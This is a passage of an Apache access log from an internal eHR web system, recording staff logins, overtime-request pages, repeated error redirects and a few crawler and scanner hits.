Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:53 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 100.64.0.1 - - [01/Dec/2025:07:01:00 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:07:01:00 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [01/Dec/2025:07:01:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp273.so HTTP/1.1" 200 20572 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:07:01:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp273.so HTTP/1.1" 200 20572 100.64.0.1 - - [01/Dec/2025:07:54:34 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [01/Dec/2025:07:54:34 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 192.168.11.52 - - [01/Dec/2025:07:55:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:55:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.52 - - [01/Dec/2025:07:55:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:55:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [01/Dec/2025:07:55:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:55:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.52 - - [01/Dec/2025:07:56:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:56:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [01/Dec/2025:07:56:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:56:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.52 - - [01/Dec/2025:07:56:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.798898525503752 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:56:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.798898525503752 HTTP/1.1" 200 8588 192.168.11.52 - - [01/Dec/2025:07:56:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.798898525503752 HTTP/1.1" 200 14546 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.798898525503752" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:56:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.798898525503752 HTTP/1.1" 200 14546 192.168.11.52 - - [01/Dec/2025:07:56:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:56:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 192.168.11.52 - - [01/Dec/2025:07:56:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:56:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.11.52 - - [01/Dec/2025:07:56:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165767 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:56:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165767 192.168.11.52 - - [01/Dec/2025:07:57:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 162782 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [01/Dec/2025:07:57:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 162782 100.64.0.1 - - [01/Dec/2025:07:58:18 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [01/Dec/2025:07:58:18 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:07:58:34 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:07:58:34 +0800] "\x16\x03\x01" 501 205 192.168.12.69 - - [01/Dec/2025:08:32:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:08:32:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.69 - - [01/Dec/2025:08:32:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:08:32:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [01/Dec/2025:08:34:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:34:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [01/Dec/2025:08:34:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:34:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [01/Dec/2025:08:34:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:34:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [01/Dec/2025:08:34:48 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:34:48 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:34:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:34:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [01/Dec/2025:08:34:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10647 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:34:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10647 192.168.12.59 - - [01/Dec/2025:08:34:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 175971 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:34:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 175971 192.168.12.59 - - [01/Dec/2025:08:35:00 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:00 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132637%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132637&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132637%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132637&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET 